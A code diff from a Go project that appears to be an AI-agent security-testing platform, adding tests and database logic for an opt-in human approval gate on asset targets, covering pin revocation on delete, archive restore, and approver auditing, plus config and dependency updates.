+	archive, err := d.QueueTaskArchive(taskID)
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _, _ = d.Exec(`DELETE FROM task_archives WHERE id=$1`, archive.ID) })
+	if claimed, err := d.ClaimTaskArchiveJob(t.Context()); err != nil || claimed == nil || claimed.ID != archive.ID {
+		t.Fatalf("archive claim = %+v, %v", claimed, err)
+	}
+	var llmRecords bytes.Buffer
+	snapshot, err := d.SnapshotTaskArchiveWithLLMRecords(taskID, &llmRecords)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if err := d.CompleteTaskArchive(archive.ID, snapshot, "/tmp/target-gate-task.tar.zst", "abc", 100, 50); err != nil {
+		t.Fatal(err)
+	}
+	return archive.ID, snapshot, &llmRecords
+}
+
+func TestArchiveStubDeleteRevokesPins(t *testing.T) {
+	d := openTargetDB(t)
+	task := targetTask(t, d, TaskCreateOptions{})
+	scope := TargetScopeRef{TaskID: task.ID}
+	pin := approveTarget(t, d, scope, "app.example.com", 443, "203.0.113.7")
+	archiveID, _, _ := archiveTargetTask(t, d, task.ID)
+	if active, err := d.ActiveTargetPins(scope, "app.example.com", 443); err != nil || len(active) != 1 {
+		t.Fatalf("pin while the task is an archived stub = %+v, %v; want still active", active, err)
+	}
+	if _, err := d.QueueTaskArchiveDelete(archiveID); err != nil {
+		t.Fatal(err)
+	}
+	if claimed, err := d.ClaimTaskArchiveJob(t.Context()); err != nil || claimed == nil || claimed.State != Deleting {
+		t.Fatalf("delete claim = %+v, %v", claimed, err)
+	}
+	if err := d.DeleteTaskArchiveStub(archiveID); err != nil {
+		t.Fatal(err)
+	}
+	pins, err := d.ListTargetPins(scope)
+	if err != nil || len(pins) != 1 || pins[0].ID != pin.ID || pins[0].Status != TargetPinRevoked || pins[0].RevokedReason != TargetPinRevokedTaskDeleted {
+		t.Fatalf("pins after the stub delete = %+v, %v; want one pin revoked as task_deleted", pins, err)
+	}
+}
+
+// The archive carries neither pins nor the flag: both stay in the live tables
+// while the task is a stub and are there after the restore.
+func TestArchiveRestoreKeepsPinsAndFlag(t *testing.T) {
+	d := openTargetDB(t)
+	on := true
+	task := targetTask(t, d, TaskCreateOptions{TargetGate: &on})
+	scope := TargetScopeRef{TaskID: task.ID}
+	pin := approveTarget(t, d, scope, "app.example.com", 443, "203.0.113.7")
+	open, _ := openTargetRequest(t, d, scope, "new.example.com", 443, "203.0.113.20")
+	archiveID, snapshot, llmRecords := archiveTargetTask(t, d, task.ID)
+
+	var flag bool
+	if err := d.QueryRow(`SELECT target_gate FROM tasks WHERE id=$1`, task.ID).Scan(&flag); err != nil || !flag {
+		t.Fatalf("flag of the archived stub = %v, %v; want kept", flag, err)
+	}
+	if _, err := d.QueueTaskArchiveRestore(archiveID); err != nil {
+		t.Fatal(err)
+	}
+	if claimed, err := d.ClaimTaskArchiveJob(t.Context()); err != nil || claimed == nil || claimed.State != Restoring {
+		t.Fatalf("restore claim = %+v, %v", claimed, err)
+	}
+	if _, err := d.RestoreTaskArchiveWithLLMRecords(archiveID, snapshot, 0, bytes.NewReader(llmRecords.Bytes())); err != nil {
+		t.Fatal(err)
+	}
+	if err := d.CompleteTaskArchiveRestore(archiveID); err != nil {
+		t.Fatal(err)
+	}
+	live, err := d.GetTask(task.ID)
+	if err != nil || live == nil || !live.TargetGate {
+		t.Fatalf("restored task = %+v, %v; want the gate still on", live, err)
+	}
+	active, err := d.ActiveTargetPins(scope, "app.example.com", 443)
+	if err != nil || len(active) != 1 || active[0].ID != pin.ID {
+		t.Fatalf("pins after the restore = %+v, %v; want the pin still active", active, err)
+	}
+	// The request that was open at archive time comes back closed (a timeout,
+	// never an approval) with its key, and the key is free again.
+	row, err := d.GetInterceptPending(open)
+	if err != nil || row == nil || row.Status != "timeout" || row.DecidedBy != "system" {
+		t.Fatalf("restored open request = %+v, %v; want a system timeout", row, err)
+	}
+	if key, err := d.TargetRequestKey(open); err != nil || key != "new.example.com:443" {
+		t.Fatalf("restored target key = %q, %v", key, err)
+	}
+	if id, made := openTargetRequest(t, d, scope, "new.example.com", 443, "203.0.113.20"); !made || id == open {
+		t.Fatalf("request after the restore: id=%d created=%v, want a new row", id, made)
+	}
+}
+
+// Archives written before the gate have no target_key: the row restores with
+// NULL, a classic ask.
+func TestRestoreInterceptRowsWithoutTargetKey(t *testing.T) {
+	d := openTargetDB(t)
+	task := targetTask(t, d, TaskCreateOptions{})
+	id, err := d.CreateDecidedIntercept(0, 0, strconv.FormatInt(task.ID, 10), "worker", "Bash", nil, "allowed", "[model] allow",
+		&InterceptAudit{InitialAction: "allow", ExecutionStatus: "succeeded"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	var raw []byte
+	if err := d.QueryRow(`SELECT row_to_json(ip) FROM intercept_pending ip WHERE id=$1`, id).Scan(&raw); err != nil {
+		t.Fatal(err)
+	}
+	var row map[string]any
+	if err := json.Unmarshal(raw, &row); err != nil {
+		t.Fatal(err)
+	}
+	if _, ok := row["target_key"]; !ok {
+		t.Fatal("control: the live row was expected to carry the target_key column")
+	}
+	delete(row, "target_key")
+	archived, _ := json.Marshal([]map[string]any{row})
+	tx, err := d.Begin()
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer tx.Rollback()
+	if _, err := tx.Exec(`DELETE FROM intercept_pending WHERE id=$1`, id); err != nil {
+		t.Fatal(err)
+	}
+	if err := restoreInterceptRows(tx, archived); err != nil {
+		t.Fatal(err)
+	}
+	var key *string
+	var status string
+	if err := tx.QueryRow(`SELECT target_key, status FROM intercept_pending WHERE id=$1`, id).Scan(&key, &status); err != nil {
+		t.Fatal(err)
+	}
+	if key != nil || status != "allowed" {
+		t.Fatalf("restored row target_key=%v status=%s, want NULL and allowed", key, status)
+	}
+}
+
+// Deleting a conversation revokes its pins in the same transaction. The pins
+// stay readable; the request rows go with the conversation (cascade). A delete
+// that fails leaves the pins active.
+func TestConversationDeleteRevokesPinsInSameTx(t *testing.T) {
+	d := openTargetDB(t)
+	conv, other := targetConversation(t, d), targetConversation(t, d)
+	scope := TargetScopeRef{ConversationID: conv.ID}
+	pin := approveTarget(t, d, scope, "app.example.com", 443, "203.0.113.7")
+	kept := approveTarget(t, d, TargetScopeRef{ConversationID: other.ID}, "app.example.com", 443, "203.0.113.7")
+	openTargetRequest(t, d, scope, "new.example.com", 443, "203.0.113.20")
+	if pin.ConversationID == nil || *pin.ConversationID != conv.ID || pin.TaskID != nil {
+		t.Fatalf("conversation pin = %+v", pin)
+	}
+
+	// A reference without a delete rule makes the delete fail after the revoke
+	// statement has run inside the transaction.
+	if _, err := d.Exec(`CREATE TABLE IF NOT EXISTS test_conversation_delete_block (conversation_id BIGINT REFERENCES conversations(id))`); err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _, _ = d.Exec(`DROP TABLE IF EXISTS test_conversation_delete_block`) })
+	if _, err := d.Exec(`INSERT INTO test_conversation_delete_block VALUES ($1)`, conv.ID); err != nil {
+		t.Fatal(err)
+	}
+	if err := d.DeleteConversation(conv.ID); err == nil {
+		t.Fatal("control: the delete was expected to fail on the blocking reference")
+	}
+	if active, err := d.ActiveTargetPins(scope, "app.example.com", 443); err != nil || len(active) != 1 || active[0].ID != pin.ID {
+		t.Fatalf("pins after a failed delete = %+v, %v; want the pin still active", active, err)
+	}
+	if got, err := d.GetConversation(conv.ID); err != nil || got == nil {
+		t.Fatalf("conversation after a failed delete = %+v, %v", got, err)
+	}
+
+	if _, err := d.Exec(`DELETE FROM test_conversation_delete_block`); err != nil {
+		t.Fatal(err)
+	}
+	if err := d.DeleteConversation(conv.ID); err != nil {
+		t.Fatal(err)
+	}
+	pins, err := d.ListTargetPins(scope)
+	if err != nil || len(pins) != 1 || pins[0].ID != pin.ID || pins[0].Status != TargetPinRevoked ||
+		pins[0].RevokedReason != TargetPinRevokedConversationDelete || pins[0].RevokedAt == nil ||
+		!slices.Equal(pins[0].PinnedIPs, []string{"203.0.113.7"}) || pins[0].DecidedBy != "ARTEX" || pins[0].InterceptID == nil {
+		t.Fatalf("pins of the deleted conversation = %+v, %v; want one revoked pin, still readable", pins, err)
+	}
+	var rows int
+	if err := d.QueryRow(`SELECT count(*) FROM intercept_pending WHERE conversation_id=$1`, conv.ID).Scan(&rows); err != nil || rows != 0 {
+		t.Fatalf("%d request rows left after the delete (%v), want 0: the cascade stays", rows, err)
+	}
+	// The pin names a request row that is gone; it is kept as a plain number.
+	if gone, err := d.GetInterceptPending(*pins[0].InterceptID); err != nil || gone != nil {
+		t.Fatalf("request row of the pin = %+v, %v; want gone", gone, err)
+	}
+	if active, err := d.ActiveTargetPins(TargetScopeRef{ConversationID: other.ID}, "app.example.com", 443); err != nil || len(active) != 1 || active[0].ID != kept.ID {
+		t.Fatalf("the pin of another conversation was touched: %+v, %v", active, err)
+	}
+}
+
+// The batch delete revokes the pins of the ids it actually removed, and only
+// those.
+func TestConversationBatchDeleteRevokesOnlyDeletedIds(t *testing.T) {
+	d := openTargetDB(t)
+	gone, stays := targetConversation(t, d), targetConversation(t, d)
+	approveTarget(t, d, TargetScopeRef{ConversationID: gone.ID}, "app.example.com", 443, "203.0.113.7")
+	approveTarget(t, d, TargetScopeRef{ConversationID: stays.ID}, "app.example.com", 443, "203.0.113.7")
+	// A pin whose conversation id is in the request but does not exist: the
+	// delete removes nothing for it, so the pin must not be revoked.
+	const unknown = int64(1) << 60
+	if _, err := d.Exec(`INSERT INTO target_pins(conversation_id, host, port, pinned_ips) VALUES ($1, 'app.example.com', 443, '{203.0.113.7}')`, unknown); err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _, _ = d.Exec(`DELETE FROM target_pins WHERE conversation_id=$1`, unknown) })
+
+	deleted, err := d.DeleteConversations([]int64{gone.ID, unknown})
+	if err != nil || !slices.Equal(deleted, []int64{gone.ID}) {
+		t.Fatalf("deleted = %v, %v; want only %d", deleted, err, gone.ID)
+	}
+	status := func(convID int64) (string, string) {
+		t.Helper()
+		pins, err := d.ListTargetPins(TargetScopeRef{ConversationID: convID})
+		if err != nil || len(pins) != 1 {
+			t.Fatalf("pins of conversation %d = %+v, %v", convID, pins, err)
+		}
+		return pins[0].Status, pins[0].RevokedReason
+	}
+	if s, reason := status(gone.ID); s != TargetPinRevoked || reason != TargetPinRevokedConversationDelete {
+		t.Fatalf("pin of the deleted conversation: %s/%s, want revoked/conversation_deleted", s, reason)
+	}
+	if s, _ := status(stays.ID); s != TargetPinActive {
+		t.Fatalf("pin of a conversation that was not in the request: %s, want active", s)
+	}
+	if s, _ := status(unknown); s != TargetPinActive {
+		t.Fatalf("pin of an id the delete did not remove: %s, want active", s)
+	}
+}
+
+func TestTaskTargetGateDefaultsOff(t *testing.T) {
+	d := openTargetDB(t)
+	task := targetTask(t, d, TaskCreateOptions{})
+	if task.TargetGate {
+		t.Fatal("a task created without the option has the gate on")
+	}
+	got, err := d.GetTask(task.ID)
+	if err != nil || got == nil || got.TargetGate {
+		t.Fatalf("stored task = %+v, %v; want the gate off", got, err)
+	}
+	off := false
+	if explicit := targetTask(t, d, TaskCreateOptions{TargetGate: &off}); explicit.TargetGate {
+		t.Fatal("a task created with the option false has the gate on")
+	}
+	c := targetConversation(t, d)
+	if c.TargetGate {
+		t.Fatal("a conversation created without the flag has the gate on")
+	}
+}
+
+func TestTaskTargetGatePatchRoundTrip(t *testing.T) {
+	d := openTargetDB(t)
+	on, off := true, false
+	task := targetTask(t, d, TaskCreateOptions{TargetGate: &on})
+	if !task.TargetGate {
+		t.Fatal("create with the option true returned the gate off")
+	}
+	if got, err := d.GetTask(task.ID); err != nil || got == nil || !got.TargetGate {
+		t.Fatalf("stored task = %+v, %v; want the gate on", got, err)
+	}
+	// A patch of another field leaves the flag alone.
+	name := "renamed"
+	if got, err := d.UpdateTask(task.ID, TaskPatch{Name: &name}); err != nil || got == nil || !got.TargetGate || got.Name != name {
+		t.Fatalf("after a name patch = %+v, %v; want the gate still on", got, err)
+	}
+	if got, err := d.UpdateTask(task.ID, TaskPatch{TargetGate: &off}); err != nil || got == nil || got.TargetGate || got.Name != name {
+		t.Fatalf("after switching off = %+v, %v", got, err)
+	}
+	if got, err := d.UpdateTask(task.ID, TaskPatch{TargetGate: &on}); err != nil || got == nil || !got.TargetGate {
+		t.Fatalf("after switching on = %+v, %v", got, err)
+	}
+	listed, err := d.ListTasks()
+	if err != nil {
+		t.Fatal(err)
+	}
+	for _, l := range listed {
+		if l.ID == task.ID && !l.TargetGate {
+			t.Fatal("the task list reports the gate off")
+		}
+	}
+}
+
+func TestConversationTargetGateRoundTrip(t *testing.T) {
+	d := openTargetDB(t)
+	c, err := d.CreateConversationGated("assistant", fmt.Sprintf("gated %d", time.Now().UnixNano()), nil, true)
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = d.DeleteConversation(c.ID) })
+	if !c.TargetGate {
+		t.Fatal("create with the flag returned the gate off")
+	}
+	if got, err := d.GetConversation(c.ID); err != nil || got == nil || !got.TargetGate {
+		t.Fatalf("stored conversation = %+v, %v; want the gate on", got, err)
+	}
+	title, on, off := "renamed", true, false
+	if got, err := d.UpdateConversation(c.ID, ConversationPatch{Title: &title}); err != nil || got == nil || !got.TargetGate || got.Title != title {
+		t.Fatalf("after a title patch = %+v, %v; want the gate still on", got, err)
+	}
+	if got, err := d.UpdateConversation(c.ID, ConversationPatch{TargetGate: &off}); err != nil || got == nil || got.TargetGate || got.Title != title {
+		t.Fatalf("after switching off = %+v, %v", got, err)
+	}
+	if got, err := d.UpdateConversation(c.ID, ConversationPatch{TargetGate: &on}); err != nil || got == nil || !got.TargetGate {
+		t.Fatalf("after switching on = %+v, %v", got, err)
+	}
+	listed, err := d.ListConversations()
+	if err != nil {
+		t.Fatal(err)
+	}
+	for _, l := range listed {
+		if l.ID == c.ID && !l.TargetGate {
+			t.Fatal("the conversation list reports the gate off")
+		}
+	}
+}
+
+// A retest conversation takes the flag of the finding's task and none of its
+// pins.
+func TestRetestConversationCopiesFlagNotPins(t *testing.T) {
+	d := openTargetDB(t)
+	on := true
+	for _, tc := range []struct {
+		name string
+		opts TaskCreateOptions
+		want bool
+	}{
+		{"gate on", TaskCreateOptions{TargetGate: &on}, true},
+		{"gate off", TaskCreateOptions{}, false},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			task := targetTask(t, d, tc.opts)
+			approveTarget(t, d, TargetScopeRef{TaskID: task.ID}, "app.example.com", 443, "203.0.113.7")
+			fid, err := d.AddFinding(task.ID, 0, "retest-gate", "gated finding", "high", "summary", "evidence", "worker", nil)
+			if err != nil {
+				t.Fatal(err)
+			}
+			t.Cleanup(func() {
+				_, _ = d.Exec(`DELETE FROM conversations WHERE id IN (SELECT conversation_id FROM finding_retests WHERE finding_id=$1)`, fid)
+				_, _ = d.DeleteFinding(fid)
+			})
+			_, conv, created, err := d.CreateFindingRetest(t.Context(), fid, "")
+			if err != nil || !created || conv == nil {
+				t.Fatalf("retest: conv=%+v created=%v err=%v", conv, created, err)
+			}
+			if conv.TargetGate != tc.want {
+				t.Fatalf("retest conversation gate = %v, want %v", conv.TargetGate, tc.want)
+			}
+			if stored, err := d.GetConversation(conv.ID); err != nil || stored == nil || stored.TargetGate != tc.want {
+				t.Fatalf("stored retest conversation = %+v, %v", stored, err)
+			}
+			if pins, err := d.ListTargetPins(TargetScopeRef{ConversationID: conv.ID}); err != nil || len(pins) != 0 {
+				t.Fatalf("retest conversation inherited pins: %+v, %v", pins, err)
+			}
+		})
+	}
+	// A finding without a task: the gate is off.
+	fid, err := d.AddFinding(0, 0, "retest-gate", "orphan finding", "high", "summary", "evidence", "worker", nil)
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() {
+		_, _ = d.Exec(`DELETE FROM conversations WHERE id IN (SELECT conversation_id FROM finding_retests WHERE finding_id=$1)`, fid)
+		_, _ = d.DeleteFinding(fid)
+	})
+	if _, conv, _, err := d.CreateFindingRetest(t.Context(), fid, ""); err != nil || conv == nil || conv.TargetGate {
+		t.Fatalf("retest of a finding without a task: conv=%+v err=%v; want the gate off", conv, err)
+	}
+}
+
+// Every human decision records who took it and from where, classic asks
+// included. decided_by keeps the actor class.
+func TestResolveInterceptByRecordsApprover(t *testing.T) {
+	d := openTargetDB(t)
+	task := targetTask(t, d, TaskCreateOptions{})
+	create := func() int64 {
+		t.Helper()
+		id, err := d.CreateInterceptPending(0, 0, strconv.FormatInt(task.ID, 10), "worker", "Bash", nil, "classic ask",
+			&InterceptAudit{InitialAction: "ask", ExecutionStatus: "not_started", Correlation: "exact"})
+		if err != nil {
+			t.Fatal(err)
+		}
+		return id
+	}
+	id := create()
+	if ok, err := d.ResolveInterceptBy(id, "allowed", "allow", "user approved execution", "human", "ARTEX", "198.51.100.9"); err != nil || !ok {
+		t.Fatalf("resolve: ok=%v err=%v", ok, err)
+	}
+	got, err := d.GetInterceptDetail(id)
+	if err != nil || got == nil || got.DecidedBy != "human" || got.Audit == nil || got.Audit.Approver != "ARTEX" ||
+		got.Audit.ApproverAddr != "198.51.100.9" || got.Audit.EffectiveAction != "allow" || got.Audit.ExecutionStatus != "awaiting_result" {
+		t.Fatalf("decided classic ask = %+v, %v", got, err)
+	}
+	// A system decision has no author.
+	id = create()
+	if ok, err := d.ResolveIntercept(id, "timeout", "deny", "approval timed out", "system"); err != nil || !ok {
+		t.Fatalf("resolve: ok=%v err=%v", ok, err)
+	}
+	var raw []byte
+	if err := d.QueryRow(`SELECT audit FROM intercept_pending WHERE id=$1`, id).Scan(&raw); err != nil {
+		t.Fatal(err)
+	}
+	if strings.Contains(string(raw), "approver") {
+		t.Fatalf("a system decision recorded an approver: %s", raw)
+	}
+}

db/task_archives_restore.go

@@ -677,13 +677,18 @@ func restoreInterceptRows(tx *sql.Tx, raw json.RawMessage) error {
 			source = "unknown"
 			if row["rule_id"] != nil {
 				source = "rule"
-			} else if reason, _ := row["reason"].(string); strings.HasPrefix(reason, "[Model]") {
+			} else if reason, _ := row["reason"].(string); isModelReason(reason) {
 				source = "model"
 			}
 			row["decision_source"] = source
 		}
+		// Archives predating decided_by lack this NOT NULL column too.
+		if row["decided_by"] == nil {
+			row["decided_by"] = ""
+		}
 		if status, _ := row["status"].(string); status == "pending" {
 			row["status"] = "timeout"
+			row["decided_by"] = "system"
 			row["reason"] = "approval timed out while the task was archived"
 			row["decided_at"] = time.Now().UTC()
 			if audit, ok := row["audit"].(map[string]any); ok {
@@ -761,6 +766,13 @@ WHERE archive.id=$1 FOR UPDATE OF archive,task`, archiveID).Scan(&taskID, &expID
 	if !errors.Is(err, sql.ErrNoRows) {
 		return err
 	}
+	// As in DeleteTaskCascadePrepared: pins stay as revoked history.
+	if err := revokeTaskPins(tx, taskID); err != nil {
+		return err
+	}
+	if err := settleTaskTargetRequests(tx, taskID); err != nil {
+		return err
+	}
 	if _, err := tx.Exec(`DELETE FROM tasks WHERE id=$1 AND archived_at IS NOT NULL`, taskID); err != nil {
 		return err
 	}

db/tasks.go

@@ -52,6 +52,9 @@ type Task struct {
 	// PlanQuietMode gates the planner quiet-mode (#86): edge-triggered rounds
 	// are skipped while work is in flight and the open-goal set is unchanged.
 	PlanQuietMode bool `json:"plan_quiet_mode"`
+	// TargetGate is the per-task opt-in of the approval gate for asset targets.
+	// false (default) = no gate, behaviour unchanged.
+	TargetGate bool `json:"target_gate"`
 	// CoverageEnabled is the master switch of the "asset coverage" feature (default true). When false:
 	// do not compute/show test coverage, do not auto-accumulate task_scope (source=auto), do not open
 	// add_task_scope/list_untested_assets to the agent, and do not inject the coverage block into the
@@ -173,6 +176,8 @@ type TaskCreateOptions struct {
 	// chain instead of the single active head. nil = off (default), preserving
 	// the ordered-failover semantics.
 	LLMRotate *bool
+	// TargetGate opts the task into the approval gate for asset targets; nil = off.
+	TargetGate *bool
 }
 
 // CreateTaskWithOptions creates an exploration, task, direct source relations,
@@ -251,10 +256,11 @@ VALUES ($1, 'fact', $2, 0, 'origin', 'system')`, expID, string(originPayload));
 	if opts.LLMRotate != nil {
 		rotate = *opts.LLMRotate
 	}
+	t.TargetGate = opts.TargetGate != nil && *opts.TargetGate
 	if err := tx.QueryRow(`
-INSERT INTO tasks(name, category_id, description, goal, exploration_id, llm_profile_id, active_llm_profile_id, timeout_seconds, plan_heartbeat_seconds, plan_quiet_mode, coverage_enabled, llm_rotate)
-VALUES ($1,$2,$3,$4,$5,$6,$6,$7,$8,$9,$10,$11)
-RETURNING id, status, paused, created_at`, opts.Name, opts.CategoryID, description, goal, expID, active, opts.TimeoutSeconds, opts.PlanHeartbeatSeconds, quietMode, coverageEnabled, rotate).Scan(&t.ID, &t.Status, &t.Paused, &t.CreatedAt); err != nil {
+INSERT INTO tasks(name, category_id, description, goal, exploration_id, llm_profile_id, active_llm_profile_id, timeout_seconds, plan_heartbeat_seconds, plan_quiet_mode, coverage_enabled, llm_rotate, target_gate)
+VALUES ($1,$2,$3,$4,$5,$6,$6,$7,$8,$9,$10,$11,$12)
+RETURNING id, status, paused, created_at`, opts.Name, opts.CategoryID, description, goal, expID, active, opts.TimeoutSeconds, opts.PlanHeartbeatSeconds, quietMode, coverageEnabled, rotate, t.TargetGate).Scan(&t.ID, &t.Status, &t.Paused, &t.CreatedAt); err != nil {
 		return nil, err
 	}
 	if err := insertTaskRelations(tx, t.ID, opts.SourceTaskIDs); err != nil {
@@ -370,11 +376,11 @@ func insertTaskLLMProfiles(tx *sql.Tx, taskID int64, profileIDs []int64) error {
 
 const taskCols = `id, COALESCE(name,''), category_id,
 COALESCE((SELECT category.name FROM task_categories category WHERE category.id=tasks.category_id),''),
-description, goal, exploration_id, status, paused, queued, queued_at, COALESCE(queue_mode,''), llm_profile_id, active_llm_profile_id, COALESCE(parent_ref,''), pinned_at, created_at, completed_at, COALESCE(timeout_seconds,0), COALESCE(plan_heartbeat_seconds,300), COALESCE(plan_quiet_mode,true), COALESCE(coverage_enabled,true), COALESCE(llm_rotate,false), first_run_at, deadline_at`
+description, goal, exploration_id, status, paused, queued, queued_at, COALESCE(queue_mode,''), llm_profile_id, active_llm_profile_id, COALESCE(parent_ref,''), pinned_at, created_at, completed_at, COALESCE(timeout_seconds,0), COALESCE(plan_heartbeat_seconds,300), COALESCE(plan_quiet_mode,true), COALESCE(coverage_enabled,true), COALESCE(llm_rotate,false), first_run_at, deadline_at, target_gate`
 
 func scanTask(sc interface{ Scan(...any) error }) (*Task, error) {
 	var t Task
-	if err := sc.Scan(&t.ID, &t.Name, &t.CategoryID, &t.CategoryName, &t.Description, &t.Goal, &t.ExplorationID, &t.Status, &t.Paused, &t.Queued, &t.QueuedAt, &t.QueueMode, &t.LLMProfileID, &t.ActiveLLMProfileID, &t.ParentRef, &t.PinnedAt, &t.CreatedAt, &t.CompletedAt, &t.TimeoutSeconds, &t.PlanHeartbeatSeconds, &t.PlanQuietMode, &t.CoverageEnabled, &t.LLMRotate, &t.FirstRunAt, &t.DeadlineAt); err != nil {
+	if err := sc.Scan(&t.ID, &t.Name, &t.CategoryID, &t.CategoryName, &t.Description, &t.Goal, &t.ExplorationID, &t.Status, &t.Paused, &t.Queued, &t.QueuedAt, &t.QueueMode, &t.LLMProfileID, &t.ActiveLLMProfileID, &t.ParentRef, &t.PinnedAt, &t.CreatedAt, &t.CompletedAt, &t.TimeoutSeconds, &t.PlanHeartbeatSeconds, &t.PlanQuietMode, &t.CoverageEnabled, &t.LLMRotate, &t.FirstRunAt, &t.DeadlineAt, &t.TargetGate); err != nil {
 		return nil, err
 	}
 	t.Pinned = t.PinnedAt != nil
@@ -420,6 +426,8 @@ type TaskPatch struct {
 	Pinned *bool
 	// PlanQuietMode flips the per-task quiet-mode switch (#86); nil = leave unchanged.
 	PlanQuietMode *bool
+	// TargetGate flips the per-task target-gate opt-in; nil = leave unchanged.
+	TargetGate *bool
 }
 
 // UpdateTask applies a partial task name/pin mutation and returns the updated row.
@@ -432,9 +440,10 @@ func (d *DB) UpdateTask(id int64, patch TaskPatch) (*Task, error) {
 		WHEN $4::boolean THEN COALESCE(pinned_at, now())
 		ELSE NULL
 	END,
-	plan_quiet_mode = CASE WHEN $5::boolean THEN $6 ELSE plan_quiet_mode END
+	plan_quiet_mode = CASE WHEN $5::boolean THEN $6 ELSE plan_quiet_mode END,
+	target_gate = CASE WHEN $7::boolean THEN $8 ELSE target_gate END
 WHERE id=$1 AND deleted_at IS NULL
-RETURNING `+taskCols, id, patch.Name != nil, patch.Name, patch.Pinned, patch.PlanQuietMode != nil, patch.PlanQuietMode))
+RETURNING `+taskCols, id, patch.Name != nil, patch.Name, patch.Pinned, patch.PlanQuietMode != nil, patch.PlanQuietMode, patch.TargetGate != nil, patch.TargetGate))
 	if err == sql.ErrNoRows {
 		return nil, nil
 	}
@@ -673,6 +682,14 @@ DELETE FROM assets a USING deletable d WHERE a.id=d.id`, id, expID)
 	}
 	// llm_usage (the token metering ledger) is intentionally NOT deleted with the
 	// task — it is kept as historical accounting even after the task is gone.
+	// Target pins and approval rows are kept as history too: the pins are revoked,
+	// the open target requests settled, in this transaction.
+	if err := revokeTaskPins(tx, id); err != nil {
+		return result, err
+	}
+	if err := settleTaskTargetRequests(tx, id); err != nil {
+		return result, err
+	}
 	if _, err := tx.Exec(`DELETE FROM tasks WHERE id=$1`, id); err != nil {
 		return result, err
 	}

docker-compose.yml

@@ -34,13 +34,19 @@ services:
       ARTEX_LLM_MODEL: ${ARTEX_LLM_MODEL:-}
       ARTEX_LLM_BASE_URL: ${ARTEX_LLM_BASE_URL:-}
       ARTEX_LLM_PROXY: ${ARTEX_LLM_PROXY:-}
+      ARTEX_JWT_KEY_DIR: /app/keys
+      ARTEX_TRUSTED_PROXIES: ${ARTEX_TRUSTED_PROXIES:-}
+      ARTEX_UNTRUSTED_BOUNDARY: ${ARTEX_UNTRUSTED_BOUNDARY:-}
     ports:
       - "${ARTEX_BIND_ADDR:-127.0.0.1}:8787:8787"
       - "127.0.0.1:8788:8788"
     volumes:
-      # Bind the data directory (jwt.key, SQLite, etc.) to data/ in the project root,
+      # Bind the data directory (SQLite, task files, etc.) to data/ in the project root,
       # so it is easy to inspect/back up on the host and survives container rebuilds.
       - ./data:/app/data
+      # JWT signing key (jwt.key), kept out of data/, which the file manager browses.
+      # Persisting it keeps users signed in across container rebuilds.
+      - ./keys:/app/keys
       # Mount skills/ from the project root into the container (overriding the image's built-in /app/skills);
       # skill changes require no image rebuild — the container reads the host copy.
       - ./skills:/app/skills

go.mod

@@ -1,6 +1,6 @@
 module github.com/Autumn-27/artex
 
-go 1.26.3
+go 1.26.10
 
 require (
 	github.com/Autumn-27/norma v0.4.3
@@ -11,9 +11,9 @@ require (
 	github.com/lqqyt2423/go-mitmproxy v1.9.2
 	github.com/miekg/dns v1.1.72
 	github.com/projectdiscovery/dnsx v1.2.3
-	golang.org/x/crypto v0.55.0
-	golang.org/x/net v0.58.0
-	golang.org/x/text v0.41.0
+	golang.org/x/crypto v0.58.0
+	golang.org/x/net v0.62.0
+	golang.org/x/text v0.43.0
 	modernc.org/sqlite v1.52.0
 )
 
@@ -51,14 +51,14 @@ require (
 	go.uber.org/atomic v1.11.0 // indirect
 	go.uber.org/multierr v1.11.0 // indirect
 	golang.org/x/exp v0.0.0-20250106191152-7588d65b2ba8 // indirect
-	golang.org/x/mod v0.40.0 // indirect
-	golang.org/x/sync v0.22.0 // indirect
-	golang.org/x/sys v0.47.0 // indirect
-	golang.org/x/tools v0.49.0 // indirect
+	golang.org/x/mod v0.41.0 // indirect
+	golang.org/x/sync v0.24.0 // indirect
+	golang.org/x/sys v0.49.0 // indirect
+	golang.org/x/tools v0.51.0 // indirect
 	gopkg.in/yaml.v3 v3.0.1 // indirect
 	modernc.org/libc v1.72.3 // indirect
 	modernc.org/mathutil v1.7.1 // indirect
 	modernc.org/memory v1.11.0 // indirect
 )
 
-replace github.com/Autumn-27/norma => github.com/BaaRai/Norma v0.4.4
+replace github.com/Autumn-27/norma => github.com/BaaRai/Norma v0.4.6

go.sum

@@ -1,5 +1,5 @@
-github.com/BaaRai/Norma v0.4.4 h1:x5UAeaTuhREI1GiIYuwIEybRxr/pLCeCUvXmUbwv5Is=
-github.com/BaaRai/Norma v0.4.4/go.mod h1:BudWrf7iHl96FgHqFr/HwN3mKYmGjJDt+xL2ZHXfFZw=
+github.com/BaaRai/Norma v0.4.6 h1:sEm58Gx7gw+UU/05aHZBZ+Xqm5dMYiuSQpc1aXnbElc=
+github.com/BaaRai/Norma v0.4.6/go.mod h1:BudWrf7iHl96FgHqFr/HwN3mKYmGjJDt+xL2ZHXfFZw=
 github.com/andybalholm/brotli v1.2.1 h1:R+f5xP285VArJDRgowrfb9DqL18yVK0gKAW/F+eTWro=
 github.com/andybalholm/brotli v1.2.1/go.mod h1:rzTDkvFWvIrjDXZHkuS16NPggd91W3kUSvPlQ1pLaKY=
 github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 h1:DklsrG3dyBCFEj5IhUbnKptjxatkF07cF2ak3yi77so=
@@ -106,23 +106,23 @@ go.uber.org/atomic v1.11.0 h1:ZvwS0R+56ePWxUNi+Atn9dWONBPp/AUETXlHW0DxSjE=
 go.uber.org/atomic v1.11.0/go.mod h1:LUxbIzbOniOlMKjJjyPfpl4v+PKK2cNJn91OQbhoJI0=
 go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0=
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guard/guard.go

@@ -34,6 +34,7 @@ type Guard struct {
 	attrib      map[string]int // failure attribution counts (Observer / G5)
 	reg         *hook.Registry
 	interceptor *intercept.Interceptor // optional; nil disables user-configured rules
+	targetOnly  bool                   // planner / main agent: target gate only, no rules, no judge, no audit ring
 }
 
